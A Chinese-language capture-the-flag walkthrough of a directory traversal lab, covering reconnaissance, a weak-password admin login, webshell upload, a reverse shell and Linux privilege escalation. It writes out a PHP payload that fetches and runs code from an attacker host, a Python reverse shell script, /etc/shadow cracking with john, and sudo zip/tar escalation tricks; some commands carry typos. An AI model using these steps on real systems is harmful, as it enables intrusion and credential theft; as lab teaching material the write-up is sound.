目录遍历漏洞介绍
路径遍历攻击(也称为目录遍历)旨在访问存储在Web根文件夹之外的文件和目录。通过操纵带有“点-斜线(…)”序列及其变化的文件或使用绝对文件路径来引用文件的变量,可以访问存储在文件系统上的任意文件和目录,包括应用程序源代码、配置和关键系统文件。
需要注意的是,系统操作访问控制(如在微软Windows操作系统上锁定或使用文件)限制了对文件的访问权限。
这种攻击也称为“点-点斜线”、“目录遍历”、“目录爬升”和“回溯”
信息探测
扫描主机服务信息以及服务版本
– nmap -sV 靶场IP地址
快速扫描主机全部信息
– nmap -T4 –A -v 靶场IP地址
探测敏感信息
– nikto -host http://靶场IP地址:端口
– 目录信息探测 dirb http://靶场IP:端口
找到一些敏感页面
漏洞扫描
owasp-zap web漏洞扫描器,自动挖掘web应用程序中的漏洞;
发现存在高危漏洞
打开该页面
分析漏洞扫描结果
目录遍历漏洞
利用目录遍历漏洞获取shell思路:
– 上传webshell到服务器,之后通过对应的目录遍历路径访问webshell,执行webshell。在kali linux当中获取反弹shell;
敏感页面上传shell
– dbadmin 敏感目录有敏感页面,浏览器访问,使用弱口令尝试登陆;
登陆页面之后 查找可利用的写webshell的点;
使用/usr/share/webshells/php/下的webshell
新建数据库,数据表,字段(写入<?php system(“cd /tmp;wget http://ip:port/webshell.php;chmod +x webshell.php;php webshell”);?>)
使用/usr/share/webshells/php/下的webshell
监听反弹shell
创建服务器用于靶场机器下载对应webshell
– python –m “SimpleHTTPServer”
启动监听 nc
– nc –nlvp 端口号
启动终端
– python –c “import pty;pty.spawn(‘/bin/bash’)”
提权
往往我们能拿下服务器的web服务只是具有低权限用户(www-data),对于内网渗透,我们需要提权到root。Linux系统的提权过程不止涉及到了漏洞,也涉及了很多系统配置。
提权前提:
已经拿到低权shell
被入侵的机器上面有nc,python,perl等linux非常常见的工具
有权限上传文件和下载文件
拿到了低权
内核漏洞提权
内核漏洞是我们几乎最先想到的提权方法。通杀的内核漏洞是十分少见的,因而我们应该先对系统相关的信息进行收集。
查看发行版本 查看内核版本
cat /etc/issue uname -a
cat /etc/*-release
寻找内核溢出代码
– searchspoit 发行版本 内核版本
上传内核溢出代码,编译执行
– gcc xxx.c -o exploit
– chmod +x exploit
– ./exploit
![在这里插入图片描述](https://img-blog.csdnimg.cn/20200407205148794.JPG
明文root密码提权
大多linux系统的密码都和/etc/passwd和/etc/shadow这两个配置文件息息相关。passwd里面储存了用户,shadow里面是密码的hash。出于安全考虑passwd是全用户可读,root可写的。shadow是仅root可读写的。
例如 破解linux用户名和对应的密码
— /etc/passwd /etc/shadow
— unshadow passwd shadow > cracked
— john cracked
计划任务
系统内可能会有一些定时执行的任务,一般这些任务由crontab来管理,具有所属用户的权限。非root权限的用户是不可以列出root用户的计划任务的。但是/etc/内系统的计划任务可以被列出
默认这些程序以root权限执行,如果有幸遇到一个把其中脚本配置成任意用户可写的管理员,我们就可以修改脚本等回连rootshell;如果定时执行的文件是py脚本,可以使用一下的脚本来替换之前的脚本;
靶场代码 攻击机启动nc 监听端口 nc –nlvp port
#!/usr/bin/python
import os,subprocess,socket
s=socket.socekt(socket.AF_INET,socket.SOCK_STREAM)
s.connect((“攻击机IP地址”,”攻击机监听端口”))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call([“/bin/sh”,”-i”])
密码复用
很多管理员会重复使用密码,因此数据库或者web后台的密码也许就是root密码。
有了(疑似)root密码怎么办?你一定想ssh登陆。然而ssh很可能禁止root登陆,或是防火墙规则将你排除在外了。返回来想,我们不是有一个低权shell了吗?找个办法再上面“输入”密码就好了。显然,直接在低权shell里面用sudo是不奏效的。这是因为出于安全考虑,linux要求用户必须从终端设备(tty)中输入密码,而不是标准输入(stdin)。换句话说,sudo在你输入密码的时候本质上是读取了键盘,而不是bash里面输入的字符。因此为了能够输入密码,我们必须模拟一个终端设备。python就有这样的功能。在shell里面输入:
python -c ‘import pty;pty.spawn("/bin/sh")’
就用python建立了一个虚拟终端,然后就可以使用sudo等等命令 sudo su。
使用 sudo –l 查看当前用户可以使用root提权的命令信息;
- 利用zip 进行提权
– touch exploit
– sudo –u root zip exploit.zip exploit –T –unzip-command=“sh –c /bin/bash”
利用tar进行提权
– sudo –u root tar cf /dev/null exploit –checkpoint=1–checkpoint-action=“/bin/bash”
获取Flag
一般情况下,靶场机器的flag值是存放在服务器的根目录下,/root/目录。
cd /root/
ls
cat flag
writeup 测试文档 总结文档
总结
通过目录遍历漏洞配合文件上传webshell,反弹对应的shell。
目录遍历也可以用来获取敏感信息
例如 破解linux用户名和对应的密码
— /etc/passwd /etc/shadow unshadow passwd shadow > cracked
— john cracked
在CTF比赛中,提权是一个关键步骤,需要有多种思路来进行提权